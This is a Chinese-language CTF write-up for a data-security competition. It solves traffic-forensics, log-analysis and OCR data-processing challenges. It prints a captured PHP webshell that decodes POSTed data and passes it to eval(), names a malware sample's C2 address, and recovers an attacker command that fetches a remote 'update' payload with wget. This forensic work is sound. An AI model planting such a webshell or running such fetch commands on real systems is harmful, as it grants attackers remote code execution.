【2025 泰山杯】数据安全赛道

ctf
7.3k words

流量分析

flag1

问题1(66分)

题干找的上传是压缩包,筛选包内POST或PUT流量

http.request.method==POST||http.request.method==PUT

image

其中 No.13038 的key.png是 PK 头,但不是个加密的压缩包

image

13110是个简单的shell,导出如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='suger';
$payloadName='payload';
$key='a5717a649d346ed0';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

将下方post到shell.php的流量简单解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='suger';
$payloadName='payload';
$key='a5717a649d346ed0';
$payload=file_get_contents("./payload.bin");
$data=encode(base64_decode($payload),$key);
echo $data;

得到大马

image

可见后续返回内容gzip加密,修改dec脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='suger';
$payloadName='payload';
$key='a5717a649d346ed0';
$payload=file_get_contents("./1.bin");
$data = encode(base64_decode($payload),$key);
$data = gzdecode($payload);
echo $data;

挨个解密shell.php流量

image

15776解密后为压缩包

image

包含文件 ac7208120ce03c658a83563fda81b469.jpg

image

故第一问flag为 flag{ac7208120ce03c658a83563fda81b469.jpg}


flag2

问题2(50分)

继续挨个解密请求,发现有个48fc的报文怀疑是马子

image

1768跑出beacon,结合之前有一个key.png里有cs的key,后续报文应该都是cs流量。

image

用key解后续流量。

image

cs-decrypt-metadata 提取cookie里的key。

image

然后 cs-parse-traffic 梭掉即可。

1
python3 hang_cs-parse-traffic.py  -k "25a496ed7274cb32d46d600205781afb:e2d919d0bff758aeb1167e38ff293edf"  ~/Desktop/taishancup2025/1.pcap

image

得到密码 Th1s_iMp0rTAnt_pAsSw0rD

flag为 flag{Th1s_iMp0rTAnt_pAsSw0rD}

flag3

问题3(50分)

做不出来

秘密的系统

flag1

问题1(40分)

根据流量定位到前期入口是ftp,找到登陆成功包即可,筛选ftp,No.1058包显示,登录成功

image

image

flag为 flag{2025-09-05+22:19.09}

flag2

导出其中的rar和一个字典

image

通过字典跑出myc2密码123.com里面没写有用东西。

image

client得到密码 TaiShan2025Good!

image

看头上是upx,脱了

image

strings硬编码了c2 IP和端口

image

1
2
3
└─$ grep '191.72.183.116' -ra 
client:objShell.Run "cmd /c echo Connecting to 191.72.183.116:59894 ...", 0, False
client:echo "conn 191.72.183.116:59894"

得到flag flag{191.72.183.116:59894}

flag3

问题3(66分)

正则匹配出身份证号

image

flag{410389195802182244}

日志分析

flag1

题目1(40分)

猜是url传参,正则匹配?xx=

1
grep -E '\?[^;]+=' web_access.log

image

flag2

题目2(50分)

根据该ip请求时间顺序拼接header末尾的hex

image

image

1
grep -E '\?[^;]+=' web_access.log |sort -k4|rev|cut -d'"' -f2|awk -F'[: ]' '{print $1}'|rev|tr -d '\n'|xxd -r -p

得到 wget -c https://3.229.117.57/update

数据安全识别

flag1

问题1_1(66分)

纯遭罪,这里我用的paddle做ocr跑在虚拟机里差不多1-2秒一条

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
from paddleocr import PaddleOCR

ocr = PaddleOCR(lang="ch")

img_dir = os.path.join(os.getcwd(), "img")

imglist = [
img_dir+"/"+f for f in os.listdir(img_dir)
if os.path.isfile(os.path.join(img_dir, f))
]
# for i in imglist: print(i)
#
with open("./output.txt","a") as f:
for i in imglist:
result = ocr.ocr(i)[0]['rec_texts']
f.write(",".join(result)+"\n")

数据处理部分我是把 敏感、替换词、忽略词 分别导出到了 list1-3 三个txt,然后合并到一个new_list,替换时候在这个 new_list[匹配到的词+len(list1)] 就是目标词的下标。

然后另一个复杂点的是点赞数,因为他放在了ip和评论数中间,所以我用的当前条目的ip来作为basepoint,像这样 ip (点赞数) 共

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
# coding=utf-8

import re
import ipaddress
import pickle
import hashlib

all_data= []

with open("./output.txt","r") as f:
all_data = [line.strip().split(",") for line in f.readlines()]


def parse(info):
format_data = {"id":"","text":"","level":"","date":"","time":"","ip":"","good":"","resp":""}
id = re.compile(r'([0-9a-z]+)')
level = re.compile(r'(LV\d{1,2})')
text = re.compile(r'([\u4e00-\u9fff]+)2025')
time = re.compile(r'(202\d.\d{2}.\d{2})\s?(\d{2}:\d{2})')
ip = re.compile(r'(\d{0,3}\.\d{0,3}\.\d{0,3}\.\d{0,3})')
resp = re.compile(r'共(\d+)')


_id = id.search(info[0])
if _id :
format_data["id"] = _id[1]

_text = text.search("".join(info[1::]))
if _text:
format_data["text"] = _text[1]

for i in info[0:2]:
_level = level.search(i)
if _level:
format_data["level"] = _level[1]

for i in info[3::]:
_time = time.search(i)
if _time:
format_data["date"] = _time.group(1).strip().replace('\u2013','-')
format_data["time"] = _time.group(2).strip()

_ip = ip.search("".join(info[-3:-1]))
if _ip:
format_data["ip"] = _ip[1]

_good = re.search(rf'{re.escape(format_data["ip"])}(\d+)共',"".join(info[-3::]))
if _good:
format_data["good"] = _good[1]

_resp = resp.search(info[-1])
if _resp:
format_data["resp"] = _resp[1]
# print(format_data)

return format_data

def malicious_ip(user_info):
with open("./IP数据库.pkl", "rb") as f:
ipdata = pickle.load(f)
# print(ipdata)
iplist = [ipaddress.ip_network(cdir, strict=False) for cdir in ipdata]
for user in user_info:
ip = ipaddress.ip_address(user["ip"])
if any(ip in net for net in iplist):
# print(user["ip"])
user["m_ip"] = 1;

def text_replace(user_info):
list1 = [i.replace("\n", "") for i in open("./1.txt", "r").readlines()]
list2 = [i.replace("\n", "") for i in open("./2.txt", "r").readlines()]
list3 = [i.replace("\n", "") for i in open("./3.txt", "r").readlines()]
# print(user_info)
# new_list = list1+list2+list3
new_list = [*list1, *list2, *list3]

for i in user_info:
for j in new_list:
rep_text = j
if rep_text in i["text"]:
# print(i["text"])
num = new_list.index(rep_text)
i["text"] = i["text"].replace(rep_text, new_list[num + len(list1)])
i["m_text"] = 1;
break

def md5(text):
md5num = hashlib.md5(text.encode("utf-8")).hexdigest()
return md5num[::5]

def like_rate(num):
if num >= 61: return 1
if 51<= num <=60: return 0.8
if 21<= num <=50: return 0.5
if 11<= num <=20: return 0.2
if 1<= num <=10 : return 0.05
return 0

user_info = []

malic_list = []

for info in all_data: user_info.append(parse(info))


result = sorted(user_info,key=lambda x:x["date"]+x["time"])

text_replace(result)

malicious_ip(result)

for i in result:
if i.get("m_text"):
resp_like = round( len(i["text"])*(int(i["resp"])+like_rate(int(i["good"]))))
malic_list.append((md5(i["text"])+"_"+str(resp_like)))

for i in result:
if i.get("m_ip"):
malic_list.append(i["id"])


print("|".join(malic_list))

image